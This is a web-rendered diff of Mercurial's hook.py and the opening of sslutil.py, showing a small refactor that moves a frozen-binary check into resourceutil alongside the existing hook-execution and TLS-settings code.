Show More
@@ -1,325 +1,326 b'' | |||
|
1 | 1 | # hook.py - hook support for mercurial |
|
2 | 2 | # |
|
3 | 3 | # Copyright 2007 Matt Mackall <mpm@selenic.com> |
|
4 | 4 | # |
|
5 | 5 | # This software may be used and distributed according to the terms of the |
|
6 | 6 | # GNU General Public License version 2 or any later version. |
|
7 | 7 | |
|
8 | 8 | from __future__ import absolute_import |
|
9 | 9 | |
|
10 | 10 | import os |
|
11 | 11 | import sys |
|
12 | 12 | |
|
13 | 13 | from .i18n import _ |
|
14 | 14 | from .pycompat import getattr |
|
15 | 15 | from . import ( |
|
16 | 16 | demandimport, |
|
17 | 17 | encoding, |
|
18 | 18 | error, |
|
19 | 19 | extensions, |
|
20 | 20 | pycompat, |
|
21 | 21 | util, |
|
22 | 22 | ) |
|
23 | 23 | from .utils import ( |
|
24 | 24 | procutil, |
|
25 | resourceutil, | |
|
25 | 26 | stringutil, |
|
26 | 27 | ) |
|
27 | 28 | |
|
28 | 29 | |
|
29 | 30 | def pythonhook(ui, repo, htype, hname, funcname, args, throw): |
|
30 | 31 | '''call python hook. hook is callable object, looked up as |
|
31 | 32 | name in python module. if callable returns "true", hook |
|
32 | 33 | fails, else passes. if hook raises exception, treated as |
|
33 | 34 | hook failure. exception propagates if throw is "true". |
|
34 | 35 | |
|
35 | 36 | reason for "true" meaning "hook failed" is so that |
|
36 | 37 | unmodified commands (e.g. mercurial.commands.update) can |
|
37 | 38 | be run as hooks without wrappers to convert return values.''' |
|
38 | 39 | |
|
39 | 40 | if callable(funcname): |
|
40 | 41 | obj = funcname |
|
41 | 42 | funcname = pycompat.sysbytes(obj.__module__ + "." + obj.__name__) |
|
42 | 43 | else: |
|
43 | 44 | d = funcname.rfind(b'.') |
|
44 | 45 | if d == -1: |
|
45 | 46 | raise error.HookLoadError( |
|
46 | 47 | _(b'%s hook is invalid: "%s" not in a module') |
|
47 | 48 | % (hname, funcname) |
|
48 | 49 | ) |
|
49 | 50 | modname = funcname[:d] |
|
50 | 51 | oldpaths = sys.path |
|
51 |
if |
|
|
52 | if resourceutil.mainfrozen(): | |
|
52 | 53 | # binary installs require sys.path manipulation |
|
53 | 54 | modpath, modfile = os.path.split(modname) |
|
54 | 55 | if modpath and modfile: |
|
55 | 56 | sys.path = sys.path[:] + [modpath] |
|
56 | 57 | modname = modfile |
|
57 | 58 | with demandimport.deactivated(): |
|
58 | 59 | try: |
|
59 | 60 | obj = __import__(pycompat.sysstr(modname)) |
|
60 | 61 | except (ImportError, SyntaxError): |
|
61 | 62 | e1 = sys.exc_info() |
|
62 | 63 | try: |
|
63 | 64 | # extensions are loaded with hgext_ prefix |
|
64 | 65 | obj = __import__("hgext_%s" % pycompat.sysstr(modname)) |
|
65 | 66 | except (ImportError, SyntaxError): |
|
66 | 67 | e2 = sys.exc_info() |
|
67 | 68 | if ui.tracebackflag: |
|
68 | 69 | ui.warn( |
|
69 | 70 | _( |
|
70 | 71 | b'exception from first failed import ' |
|
71 | 72 | b'attempt:\n' |
|
72 | 73 | ) |
|
73 | 74 | ) |
|
74 | 75 | ui.traceback(e1) |
|
75 | 76 | if ui.tracebackflag: |
|
76 | 77 | ui.warn( |
|
77 | 78 | _( |
|
78 | 79 | b'exception from second failed import ' |
|
79 | 80 | b'attempt:\n' |
|
80 | 81 | ) |
|
81 | 82 | ) |
|
82 | 83 | ui.traceback(e2) |
|
83 | 84 | |
|
84 | 85 | if not ui.tracebackflag: |
|
85 | 86 | tracebackhint = _( |
|
86 | 87 | b'run with --traceback for stack trace' |
|
87 | 88 | ) |
|
88 | 89 | else: |
|
89 | 90 | tracebackhint = None |
|
90 | 91 | raise error.HookLoadError( |
|
91 | 92 | _(b'%s hook is invalid: import of "%s" failed') |
|
92 | 93 | % (hname, modname), |
|
93 | 94 | hint=tracebackhint, |
|
94 | 95 | ) |
|
95 | 96 | sys.path = oldpaths |
|
96 | 97 | try: |
|
97 | 98 | for p in funcname.split(b'.')[1:]: |
|
98 | 99 | obj = getattr(obj, p) |
|
99 | 100 | except AttributeError: |
|
100 | 101 | raise error.HookLoadError( |
|
101 | 102 | _(b'%s hook is invalid: "%s" is not defined') |
|
102 | 103 | % (hname, funcname) |
|
103 | 104 | ) |
|
104 | 105 | if not callable(obj): |
|
105 | 106 | raise error.HookLoadError( |
|
106 | 107 | _(b'%s hook is invalid: "%s" is not callable') |
|
107 | 108 | % (hname, funcname) |
|
108 | 109 | ) |
|
109 | 110 | |
|
110 | 111 | ui.note(_(b"calling hook %s: %s\n") % (hname, funcname)) |
|
111 | 112 | starttime = util.timer() |
|
112 | 113 | |
|
113 | 114 | try: |
|
114 | 115 | r = obj(ui=ui, repo=repo, hooktype=htype, **pycompat.strkwargs(args)) |
|
115 | 116 | except Exception as exc: |
|
116 | 117 | if isinstance(exc, error.Abort): |
|
117 | 118 | ui.warn(_(b'error: %s hook failed: %s\n') % (hname, exc.args[0])) |
|
118 | 119 | else: |
|
119 | 120 | ui.warn( |
|
120 | 121 | _(b'error: %s hook raised an exception: %s\n') |
|
121 | 122 | % (hname, stringutil.forcebytestr(exc)) |
|
122 | 123 | ) |
|
123 | 124 | if throw: |
|
124 | 125 | raise |
|
125 | 126 | if not ui.tracebackflag: |
|
126 | 127 | ui.warn(_(b'(run with --traceback for stack trace)\n')) |
|
127 | 128 | ui.traceback() |
|
128 | 129 | return True, True |
|
129 | 130 | finally: |
|
130 | 131 | duration = util.timer() - starttime |
|
131 | 132 | ui.log( |
|
132 | 133 | b'pythonhook', |
|
133 | 134 | b'pythonhook-%s: %s finished in %0.2f seconds\n', |
|
134 | 135 | htype, |
|
135 | 136 | funcname, |
|
136 | 137 | duration, |
|
137 | 138 | ) |
|
138 | 139 | if r: |
|
139 | 140 | if throw: |
|
140 | 141 | raise error.HookAbort(_(b'%s hook failed') % hname) |
|
141 | 142 | ui.warn(_(b'warning: %s hook failed\n') % hname) |
|
142 | 143 | return r, False |
|
143 | 144 | |
|
144 | 145 | |
|
145 | 146 | def _exthook(ui, repo, htype, name, cmd, args, throw): |
|
146 | 147 | starttime = util.timer() |
|
147 | 148 | env = {} |
|
148 | 149 | |
|
149 | 150 | # make in-memory changes visible to external process |
|
150 | 151 | if repo is not None: |
|
151 | 152 | tr = repo.currenttransaction() |
|
152 | 153 | repo.dirstate.write(tr) |
|
153 | 154 | if tr and tr.writepending(): |
|
154 | 155 | env[b'HG_PENDING'] = repo.root |
|
155 | 156 | env[b'HG_HOOKTYPE'] = htype |
|
156 | 157 | env[b'HG_HOOKNAME'] = name |
|
157 | 158 | |
|
158 | 159 | for k, v in pycompat.iteritems(args): |
|
159 | 160 | if callable(v): |
|
160 | 161 | v = v() |
|
161 | 162 | if isinstance(v, (dict, list)): |
|
162 | 163 | v = stringutil.pprint(v) |
|
163 | 164 | env[b'HG_' + k.upper()] = v |
|
164 | 165 | |
|
165 | 166 | if ui.configbool(b'hooks', b'tonative.%s' % name, False): |
|
166 | 167 | oldcmd = cmd |
|
167 | 168 | cmd = procutil.shelltonative(cmd, env) |
|
168 | 169 | if cmd != oldcmd: |
|
169 | 170 | ui.note(_(b'converting hook "%s" to native\n') % name) |
|
170 | 171 | |
|
171 | 172 | ui.note(_(b"running hook %s: %s\n") % (name, cmd)) |
|
172 | 173 | |
|
173 | 174 | if repo: |
|
174 | 175 | cwd = repo.root |
|
175 | 176 | else: |
|
176 | 177 | cwd = encoding.getcwd() |
|
177 | 178 | r = ui.system(cmd, environ=env, cwd=cwd, blockedtag=b'exthook-%s' % (name,)) |
|
178 | 179 | |
|
179 | 180 | duration = util.timer() - starttime |
|
180 | 181 | ui.log( |
|
181 | 182 | b'exthook', |
|
182 | 183 | b'exthook-%s: %s finished in %0.2f seconds\n', |
|
183 | 184 | name, |
|
184 | 185 | cmd, |
|
185 | 186 | duration, |
|
186 | 187 | ) |
|
187 | 188 | if r: |
|
188 | 189 | desc = procutil.explainexit(r) |
|
189 | 190 | if throw: |
|
190 | 191 | raise error.HookAbort(_(b'%s hook %s') % (name, desc)) |
|
191 | 192 | ui.warn(_(b'warning: %s hook %s\n') % (name, desc)) |
|
192 | 193 | return r |
|
193 | 194 | |
|
194 | 195 | |
|
195 | 196 | # represent an untrusted hook command |
|
196 | 197 | _fromuntrusted = object() |
|
197 | 198 | |
|
198 | 199 | |
|
199 | 200 | def _allhooks(ui): |
|
200 | 201 | """return a list of (hook-id, cmd) pairs sorted by priority""" |
|
201 | 202 | hooks = _hookitems(ui) |
|
202 | 203 | # Be careful in this section, propagating the real commands from untrusted |
|
203 | 204 | # sources would create a security vulnerability, make sure anything altered |
|
204 | 205 | # in that section uses "_fromuntrusted" as its command. |
|
205 | 206 | untrustedhooks = _hookitems(ui, _untrusted=True) |
|
206 | 207 | for name, value in untrustedhooks.items(): |
|
207 | 208 | trustedvalue = hooks.get(name, (None, None, name, _fromuntrusted)) |
|
208 | 209 | if value != trustedvalue: |
|
209 | 210 | (lp, lo, lk, lv) = trustedvalue |
|
210 | 211 | hooks[name] = (lp, lo, lk, _fromuntrusted) |
|
211 | 212 | # (end of the security sensitive section) |
|
212 | 213 | return [(k, v) for p, o, k, v in sorted(hooks.values())] |
|
213 | 214 | |
|
214 | 215 | |
|
215 | 216 | def _hookitems(ui, _untrusted=False): |
|
216 | 217 | """return all hooks items ready to be sorted""" |
|
217 | 218 | hooks = {} |
|
218 | 219 | for name, cmd in ui.configitems(b'hooks', untrusted=_untrusted): |
|
219 | 220 | if name.startswith(b'priority.') or name.startswith(b'tonative.'): |
|
220 | 221 | continue |
|
221 | 222 | |
|
222 | 223 | priority = ui.configint(b'hooks', b'priority.%s' % name, 0) |
|
223 | 224 | hooks[name] = (-priority, len(hooks), name, cmd) |
|
224 | 225 | return hooks |
|
225 | 226 | |
|
226 | 227 | |
|
227 | 228 | _redirect = False |
|
228 | 229 | |
|
229 | 230 | |
|
230 | 231 | def redirect(state): |
|
231 | 232 | global _redirect |
|
232 | 233 | _redirect = state |
|
233 | 234 | |
|
234 | 235 | |
|
235 | 236 | def hashook(ui, htype): |
|
236 | 237 | """return True if a hook is configured for 'htype'""" |
|
237 | 238 | if not ui.callhooks: |
|
238 | 239 | return False |
|
239 | 240 | for hname, cmd in _allhooks(ui): |
|
240 | 241 | if hname.split(b'.')[0] == htype and cmd: |
|
241 | 242 | return True |
|
242 | 243 | return False |
|
243 | 244 | |
|
244 | 245 | |
|
245 | 246 | def hook(ui, repo, htype, throw=False, **args): |
|
246 | 247 | if not ui.callhooks: |
|
247 | 248 | return False |
|
248 | 249 | |
|
249 | 250 | hooks = [] |
|
250 | 251 | for hname, cmd in _allhooks(ui): |
|
251 | 252 | if hname.split(b'.')[0] == htype and cmd: |
|
252 | 253 | hooks.append((hname, cmd)) |
|
253 | 254 | |
|
254 | 255 | res = runhooks(ui, repo, htype, hooks, throw=throw, **args) |
|
255 | 256 | r = False |
|
256 | 257 | for hname, cmd in hooks: |
|
257 | 258 | r = res[hname][0] or r |
|
258 | 259 | return r |
|
259 | 260 | |
|
260 | 261 | |
|
261 | 262 | def runhooks(ui, repo, htype, hooks, throw=False, **args): |
|
262 | 263 | args = pycompat.byteskwargs(args) |
|
263 | 264 | res = {} |
|
264 | 265 | oldstdout = -1 |
|
265 | 266 | |
|
266 | 267 | try: |
|
267 | 268 | for hname, cmd in hooks: |
|
268 | 269 | if oldstdout == -1 and _redirect: |
|
269 | 270 | try: |
|
270 | 271 | stdoutno = procutil.stdout.fileno() |
|
271 | 272 | stderrno = procutil.stderr.fileno() |
|
272 | 273 | # temporarily redirect stdout to stderr, if possible |
|
273 | 274 | if stdoutno >= 0 and stderrno >= 0: |
|
274 | 275 | procutil.stdout.flush() |
|
275 | 276 | oldstdout = os.dup(stdoutno) |
|
276 | 277 | os.dup2(stderrno, stdoutno) |
|
277 | 278 | except (OSError, AttributeError): |
|
278 | 279 | # files seem to be bogus, give up on redirecting (WSGI, etc) |
|
279 | 280 | pass |
|
280 | 281 | |
|
281 | 282 | if cmd is _fromuntrusted: |
|
282 | 283 | if throw: |
|
283 | 284 | raise error.HookAbort( |
|
284 | 285 | _(b'untrusted hook %s not executed') % hname, |
|
285 | 286 | hint=_(b"see 'hg help config.trusted'"), |
|
286 | 287 | ) |
|
287 | 288 | ui.warn(_(b'warning: untrusted hook %s not executed\n') % hname) |
|
288 | 289 | r = 1 |
|
289 | 290 | raised = False |
|
290 | 291 | elif callable(cmd): |
|
291 | 292 | r, raised = pythonhook(ui, repo, htype, hname, cmd, args, throw) |
|
292 | 293 | elif cmd.startswith(b'python:'): |
|
293 | 294 | if cmd.count(b':') >= 2: |
|
294 | 295 | path, cmd = cmd[7:].rsplit(b':', 1) |
|
295 | 296 | path = util.expandpath(path) |
|
296 | 297 | if repo: |
|
297 | 298 | path = os.path.join(repo.root, path) |
|
298 | 299 | try: |
|
299 | 300 | mod = extensions.loadpath(path, b'hghook.%s' % hname) |
|
300 | 301 | except Exception: |
|
301 | 302 | ui.write(_(b"loading %s hook failed:\n") % hname) |
|
302 | 303 | raise |
|
303 | 304 | hookfn = getattr(mod, cmd) |
|
304 | 305 | else: |
|
305 | 306 | hookfn = cmd[7:].strip() |
|
306 | 307 | r, raised = pythonhook( |
|
307 | 308 | ui, repo, htype, hname, hookfn, args, throw |
|
308 | 309 | ) |
|
309 | 310 | else: |
|
310 | 311 | r = _exthook(ui, repo, htype, hname, cmd, args, throw) |
|
311 | 312 | raised = False |
|
312 | 313 | |
|
313 | 314 | res[hname] = r, raised |
|
314 | 315 | finally: |
|
315 | 316 | # The stderr is fully buffered on Windows when connected to a pipe. |
|
316 | 317 | # A forcible flush is required to make small stderr data in the |
|
317 | 318 | # remote side available to the client immediately. |
|
318 | 319 | procutil.stderr.flush() |
|
319 | 320 | |
|
320 | 321 | if _redirect and oldstdout >= 0: |
|
321 | 322 | procutil.stdout.flush() # write hook output to stderr fd |
|
322 | 323 | os.dup2(oldstdout, stdoutno) |
|
323 | 324 | os.close(oldstdout) |
|
324 | 325 | |
|
325 | 326 | return res |
@@ -1,1023 +1,1023 b'' | |||
|
1 | 1 | # sslutil.py - SSL handling for mercurial |
|
2 | 2 | # |
|
3 | 3 | # Copyright 2005, 2006, 2007, 2008 Matt Mackall <mpm@selenic.com> |
|
4 | 4 | # Copyright 2006, 2007 Alexis S. L. Carvalho <alexis@cecm.usp.br> |
|
5 | 5 | # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> |
|
6 | 6 | # |
|
7 | 7 | # This software may be used and distributed according to the terms of the |
|
8 | 8 | # GNU General Public License version 2 or any later version. |
|
9 | 9 | |
|
10 | 10 | from __future__ import absolute_import |
|
11 | 11 | |
|
12 | 12 | import hashlib |
|
13 | 13 | import os |
|
14 | 14 | import re |
|
15 | 15 | import ssl |
|
16 | 16 | |
|
17 | 17 | from .i18n import _ |
|
18 | 18 | from .pycompat import getattr |
|
19 | 19 | from . import ( |
|
20 | 20 | encoding, |
|
21 | 21 | error, |
|
22 | 22 | node, |
|
23 | 23 | pycompat, |
|
24 | 24 | util, |
|
25 | 25 | ) |
|
26 | 26 | from .utils import ( |
|
27 |
|
|
|
27 | resourceutil, | |
|
28 | 28 | stringutil, |
|
29 | 29 | ) |
|
30 | 30 | |
|
31 | 31 | # Python 2.7.9+ overhauled the built-in SSL/TLS features of Python. It added |
|
32 | 32 | # support for TLS 1.1, TLS 1.2, SNI, system CA stores, etc. These features are |
|
33 | 33 | # all exposed via the "ssl" module. |
|
34 | 34 | # |
|
35 | 35 | # Depending on the version of Python being used, SSL/TLS support is either |
|
36 | 36 | # modern/secure or legacy/insecure. Many operations in this module have |
|
37 | 37 | # separate code paths depending on support in Python. |
|
38 | 38 | |
|
39 | 39 | configprotocols = { |
|
40 | 40 | b'tls1.0', |
|
41 | 41 | b'tls1.1', |
|
42 | 42 | b'tls1.2', |
|
43 | 43 | } |
|
44 | 44 | |
|
45 | 45 | hassni = getattr(ssl, 'HAS_SNI', False) |
|
46 | 46 | |
|
47 | 47 | # TLS 1.1 and 1.2 may not be supported if the OpenSSL Python is compiled |
|
48 | 48 | # against doesn't support them. |
|
49 | 49 | supportedprotocols = {b'tls1.0'} |
|
50 | 50 | if util.safehasattr(ssl, b'PROTOCOL_TLSv1_1'): |
|
51 | 51 | supportedprotocols.add(b'tls1.1') |
|
52 | 52 | if util.safehasattr(ssl, b'PROTOCOL_TLSv1_2'): |
|
53 | 53 | supportedprotocols.add(b'tls1.2') |
|
54 | 54 | |
|
55 | 55 | try: |
|
56 | 56 | # ssl.SSLContext was added in 2.7.9 and presence indicates modern |
|
57 | 57 | # SSL/TLS features are available. |
|
58 | 58 | SSLContext = ssl.SSLContext |
|
59 | 59 | modernssl = True |
|
60 | 60 | _canloaddefaultcerts = util.safehasattr(SSLContext, b'load_default_certs') |
|
61 | 61 | except AttributeError: |
|
62 | 62 | modernssl = False |
|
63 | 63 | _canloaddefaultcerts = False |
|
64 | 64 | |
|
65 | 65 | # We implement SSLContext using the interface from the standard library. |
|
66 | 66 | class SSLContext(object): |
|
67 | 67 | def __init__(self, protocol): |
|
68 | 68 | # From the public interface of SSLContext |
|
69 | 69 | self.protocol = protocol |
|
70 | 70 | self.check_hostname = False |
|
71 | 71 | self.options = 0 |
|
72 | 72 | self.verify_mode = ssl.CERT_NONE |
|
73 | 73 | |
|
74 | 74 | # Used by our implementation. |
|
75 | 75 | self._certfile = None |
|
76 | 76 | self._keyfile = None |
|
77 | 77 | self._certpassword = None |
|
78 | 78 | self._cacerts = None |
|
79 | 79 | self._ciphers = None |
|
80 | 80 | |
|
81 | 81 | def load_cert_chain(self, certfile, keyfile=None, password=None): |
|
82 | 82 | self._certfile = certfile |
|
83 | 83 | self._keyfile = keyfile |
|
84 | 84 | self._certpassword = password |
|
85 | 85 | |
|
86 | 86 | def load_default_certs(self, purpose=None): |
|
87 | 87 | pass |
|
88 | 88 | |
|
89 | 89 | def load_verify_locations(self, cafile=None, capath=None, cadata=None): |
|
90 | 90 | if capath: |
|
91 | 91 | raise error.Abort(_(b'capath not supported')) |
|
92 | 92 | if cadata: |
|
93 | 93 | raise error.Abort(_(b'cadata not supported')) |
|
94 | 94 | |
|
95 | 95 | self._cacerts = cafile |
|
96 | 96 | |
|
97 | 97 | def set_ciphers(self, ciphers): |
|
98 | 98 | self._ciphers = ciphers |
|
99 | 99 | |
|
100 | 100 | def wrap_socket(self, socket, server_hostname=None, server_side=False): |
|
101 | 101 | # server_hostname is unique to SSLContext.wrap_socket and is used |
|
102 | 102 | # for SNI in that context. So there's nothing for us to do with it |
|
103 | 103 | # in this legacy code since we don't support SNI. |
|
104 | 104 | |
|
105 | 105 | args = { |
|
106 | 106 | 'keyfile': self._keyfile, |
|
107 | 107 | 'certfile': self._certfile, |
|
108 | 108 | 'server_side': server_side, |
|
109 | 109 | 'cert_reqs': self.verify_mode, |
|
110 | 110 | 'ssl_version': self.protocol, |
|
111 | 111 | 'ca_certs': self._cacerts, |
|
112 | 112 | 'ciphers': self._ciphers, |
|
113 | 113 | } |
|
114 | 114 | |
|
115 | 115 | return ssl.wrap_socket(socket, **args) |
|
116 | 116 | |
|
117 | 117 | |
|
118 | 118 | def _hostsettings(ui, hostname): |
|
119 | 119 | """Obtain security settings for a hostname. |
|
120 | 120 | |
|
121 | 121 | Returns a dict of settings relevant to that hostname. |
|
122 | 122 | """ |
|
123 | 123 | bhostname = pycompat.bytesurl(hostname) |
|
124 | 124 | s = { |
|
125 | 125 | # Whether we should attempt to load default/available CA certs |
|
126 | 126 | # if an explicit ``cafile`` is not defined. |
|
127 | 127 | b'allowloaddefaultcerts': True, |
|
128 | 128 | # List of 2-tuple of (hash algorithm, hash). |
|
129 | 129 | b'certfingerprints': [], |
|
130 | 130 | # Path to file containing concatenated CA certs. Used by |
|
131 | 131 | # SSLContext.load_verify_locations(). |
|
132 | 132 | b'cafile': None, |
|
133 | 133 | # Whether certificate verification should be disabled. |
|
134 | 134 | b'disablecertverification': False, |
|
135 | 135 | # Whether the legacy [hostfingerprints] section has data for this host. |
|
136 | 136 | b'legacyfingerprint': False, |
|
137 | 137 | # PROTOCOL_* constant to use for SSLContext.__init__. |
|
138 | 138 | b'protocol': None, |
|
139 | 139 | # String representation of minimum protocol to be used for UI |
|
140 | 140 | # presentation. |
|
141 | 141 | b'protocolui': None, |
|
142 | 142 | # ssl.CERT_* constant used by SSLContext.verify_mode. |
|
143 | 143 | b'verifymode': None, |
|
144 | 144 | # Defines extra ssl.OP* bitwise options to set. |
|
145 | 145 | b'ctxoptions': None, |
|
146 | 146 | # OpenSSL Cipher List to use (instead of default). |
|
147 | 147 | b'ciphers': None, |
|
148 | 148 | } |
|
149 | 149 | |
|
150 | 150 | # Allow minimum TLS protocol to be specified in the config. |
|
151 | 151 | def validateprotocol(protocol, key): |
|
152 | 152 | if protocol not in configprotocols: |
|
153 | 153 | raise error.Abort( |
|
154 | 154 | _(b'unsupported protocol from hostsecurity.%s: %s') |
|
155 | 155 | % (key, protocol), |
|
156 | 156 | hint=_(b'valid protocols: %s') |
|
157 | 157 | % b' '.join(sorted(configprotocols)), |
|
158 | 158 | ) |
|
159 | 159 | |
|
160 | 160 | # We default to TLS 1.1+ where we can because TLS 1.0 has known |
|
161 | 161 | # vulnerabilities (like BEAST and POODLE). We allow users to downgrade to |
|
162 | 162 | # TLS 1.0+ via config options in case a legacy server is encountered. |
|
163 | 163 | if b'tls1.1' in supportedprotocols: |
|
164 | 164 | defaultprotocol = b'tls1.1' |
|
165 | 165 | else: |
|
166 | 166 | # Let people know they are borderline secure. |
|
167 | 167 | # We don't document this config option because we want people to see |
|
168 | 168 | # the bold warnings on the web site. |
|
169 | 169 | # internal config: hostsecurity.disabletls10warning |
|
170 | 170 | if not ui.configbool(b'hostsecurity', b'disabletls10warning'): |
|
171 | 171 | ui.warn( |
|
172 | 172 | _( |
|
173 | 173 | b'warning: connecting to %s using legacy security ' |
|
174 | 174 | b'technology (TLS 1.0); see ' |
|
175 | 175 | b'https://mercurial-scm.org/wiki/SecureConnections for ' |
|
176 | 176 | b'more info\n' |
|
177 | 177 | ) |
|
178 | 178 | % bhostname |
|
179 | 179 | ) |
|
180 | 180 | defaultprotocol = b'tls1.0' |
|
181 | 181 | |
|
182 | 182 | key = b'minimumprotocol' |
|
183 | 183 | protocol = ui.config(b'hostsecurity', key, defaultprotocol) |
|
184 | 184 | validateprotocol(protocol, key) |
|
185 | 185 | |
|
186 | 186 | key = b'%s:minimumprotocol' % bhostname |
|
187 | 187 | protocol = ui.config(b'hostsecurity', key, protocol) |
|
188 | 188 | validateprotocol(protocol, key) |
|
189 | 189 | |
|
190 | 190 | # If --insecure is used, we allow the use of TLS 1.0 despite config options. |
|
191 | 191 | # We always print a "connection security to %s is disabled..." message when |
|
192 | 192 | # --insecure is used. So no need to print anything more here. |
|
193 | 193 | if ui.insecureconnections: |
|
194 | 194 | protocol = b'tls1.0' |
|
195 | 195 | |
|
196 | 196 | s[b'protocol'], s[b'ctxoptions'], s[b'protocolui'] = protocolsettings( |
|
197 | 197 | protocol |
|
198 | 198 | ) |
|
199 | 199 | |
|
200 | 200 | ciphers = ui.config(b'hostsecurity', b'ciphers') |
|
201 | 201 | ciphers = ui.config(b'hostsecurity', b'%s:ciphers' % bhostname, ciphers) |
|
202 | 202 | s[b'ciphers'] = ciphers |
|
203 | 203 | |
|
204 | 204 | # Look for fingerprints in [hostsecurity] section. Value is a list |
|
205 | 205 | # of <alg>:<fingerprint> strings. |
|
206 | 206 | fingerprints = ui.configlist( |
|
207 | 207 | b'hostsecurity', b'%s:fingerprints' % bhostname |
|
208 | 208 | ) |
|
209 | 209 | for fingerprint in fingerprints: |
|
210 | 210 | if not (fingerprint.startswith((b'sha1:', b'sha256:', b'sha512:'))): |
|
211 | 211 | raise error.Abort( |
|
212 | 212 | _(b'invalid fingerprint for %s: %s') % (bhostname, fingerprint), |
|
213 | 213 | hint=_(b'must begin with "sha1:", "sha256:", or "sha512:"'), |
|
214 | 214 | ) |
|
215 | 215 | |
|
216 | 216 | alg, fingerprint = fingerprint.split(b':', 1) |
|
217 | 217 | fingerprint = fingerprint.replace(b':', b'').lower() |
|
218 | 218 | s[b'certfingerprints'].append((alg, fingerprint)) |
|
219 | 219 | |
|
220 | 220 | # Fingerprints from [hostfingerprints] are always SHA-1. |
|
221 | 221 | for fingerprint in ui.configlist(b'hostfingerprints', bhostname): |
|
222 | 222 | fingerprint = fingerprint.replace(b':', b'').lower() |
|
223 | 223 | s[b'certfingerprints'].append((b'sha1', fingerprint)) |
|
224 | 224 | s[b'legacyfingerprint'] = True |
|
225 | 225 | |
|
226 | 226 | # If a host cert fingerprint is defined, it is the only thing that |
|
227 | 227 | # matters. No need to validate CA certs. |
|
228 | 228 | if s[b'certfingerprints']: |
|
229 | 229 | s[b'verifymode'] = ssl.CERT_NONE |
|
230 | 230 | s[b'allowloaddefaultcerts'] = False |
|
231 | 231 | |
|
232 | 232 | # If --insecure is used, don't take CAs into consideration. |
|
233 | 233 | elif ui.insecureconnections: |
|
234 | 234 | s[b'disablecertverification'] = True |
|
235 | 235 | s[b'verifymode'] = ssl.CERT_NONE |
|
236 | 236 | s[b'allowloaddefaultcerts'] = False |
|
237 | 237 | |
|
238 | 238 | if ui.configbool(b'devel', b'disableloaddefaultcerts'): |
|
239 | 239 | s[b'allowloaddefaultcerts'] = False |
|
240 | 240 | |
|
241 | 241 | # If both fingerprints and a per-host ca file are specified, issue a warning |
|
242 | 242 | # because users should not be surprised about what security is or isn't |
|
243 | 243 | # being performed. |
|
244 | 244 | cafile = ui.config(b'hostsecurity', b'%s:verifycertsfile' % bhostname) |
|
245 | 245 | if s[b'certfingerprints'] and cafile: |
|
246 | 246 | ui.warn( |
|
247 | 247 | _( |
|
248 | 248 | b'(hostsecurity.%s:verifycertsfile ignored when host ' |
|
249 | 249 | b'fingerprints defined; using host fingerprints for ' |
|
250 | 250 | b'verification)\n' |
|
251 | 251 | ) |
|
252 | 252 | % bhostname |
|
253 | 253 | ) |
|
254 | 254 | |
|
255 | 255 | # Try to hook up CA certificate validation unless something above |
|
256 | 256 | # makes it not necessary. |
|
257 | 257 | if s[b'verifymode'] is None: |
|
258 | 258 | # Look at per-host ca file first. |
|
259 | 259 | if cafile: |
|
260 | 260 | cafile = util.expandpath(cafile) |
|
261 | 261 | if not os.path.exists(cafile): |
|
262 | 262 | raise error.Abort( |
|
263 | 263 | _(b'path specified by %s does not exist: %s') |
|
264 | 264 | % ( |
|
265 | 265 | b'hostsecurity.%s:verifycertsfile' % (bhostname,), |
|
266 | 266 | cafile, |
|
267 | 267 | ) |
|
268 | 268 | ) |
|
269 | 269 | s[b'cafile'] = cafile |
|
270 | 270 | else: |
|
271 | 271 | # Find global certificates file in config. |
|
272 | 272 | cafile = ui.config(b'web', b'cacerts') |
|
273 | 273 | |
|
274 | 274 | if cafile: |
|
275 | 275 | cafile = util.expandpath(cafile) |
|
276 | 276 | if not os.path.exists(cafile): |
|
277 | 277 | raise error.Abort( |
|
278 | 278 | _(b'could not find web.cacerts: %s') % cafile |
|
279 | 279 | ) |
|
280 | 280 | elif s[b'allowloaddefaultcerts']: |
|
281 | 281 | # CAs not defined in config. Try to find system bundles. |
|
282 | 282 | cafile = _defaultcacerts(ui) |
|
283 | 283 | if cafile: |
|
284 | 284 | ui.debug(b'using %s for CA file\n' % cafile) |
|
285 | 285 | |
|
286 | 286 | s[b'cafile'] = cafile |
|
287 | 287 | |
|
288 | 288 | # Require certificate validation if CA certs are being loaded and |
|
289 | 289 | # verification hasn't been disabled above. |
|
290 | 290 | if cafile or (_canloaddefaultcerts and s[b'allowloaddefaultcerts']): |
|
291 | 291 | s[b'verifymode'] = ssl.CERT_REQUIRED |
|
292 | 292 | else: |
|
293 | 293 | # At this point we don't have a fingerprint, aren't being |
|
294 | 294 | # explicitly insecure, and can't load CA certs. Connecting |
|
295 | 295 | # is insecure. We allow the connection and abort during |
|
296 | 296 | # validation (once we have the fingerprint to print to the |
|
297 | 297 | # user). |
|
298 | 298 | s[b'verifymode'] = ssl.CERT_NONE |
|
299 | 299 | |
|
300 | 300 | assert s[b'protocol'] is not None |
|
301 | 301 | assert s[b'ctxoptions'] is not None |
|
302 | 302 | assert s[b'verifymode'] is not None |
|
303 | 303 | |
|
304 | 304 | return s |
|
305 | 305 | |
|
306 | 306 | |
|
307 | 307 | def protocolsettings(protocol): |
|
308 | 308 | """Resolve the protocol for a config value. |
|
309 | 309 | |
|
310 | 310 | Returns a 3-tuple of (protocol, options, ui value) where the first |
|
311 | 311 | 2 items are values used by SSLContext and the last is a string value |
|
312 | 312 | of the ``minimumprotocol`` config option equivalent. |
|
313 | 313 | """ |
|
314 | 314 | if protocol not in configprotocols: |
|
315 | 315 | raise ValueError(b'protocol value not supported: %s' % protocol) |
|
316 | 316 | |
|
317 | 317 | # Despite its name, PROTOCOL_SSLv23 selects the highest protocol |
|
318 | 318 | # that both ends support, including TLS protocols. On legacy stacks, |
|
319 | 319 | # the highest it likely goes is TLS 1.0. On modern stacks, it can |
|
320 | 320 | # support TLS 1.2. |
|
321 | 321 | # |
|
322 | 322 | # The PROTOCOL_TLSv* constants select a specific TLS version |
|
323 | 323 | # only (as opposed to multiple versions). So the method for |
|
324 | 324 | # supporting multiple TLS versions is to use PROTOCOL_SSLv23 and |
|
325 | 325 | # disable protocols via SSLContext.options and OP_NO_* constants. |
|
326 | 326 | # However, SSLContext.options doesn't work unless we have the |
|
327 | 327 | # full/real SSLContext available to us. |
|
328 | 328 | if supportedprotocols == {b'tls1.0'}: |
|
329 | 329 | if protocol != b'tls1.0': |
|
330 | 330 | raise error.Abort( |
|
331 | 331 | _(b'current Python does not support protocol setting %s') |
|
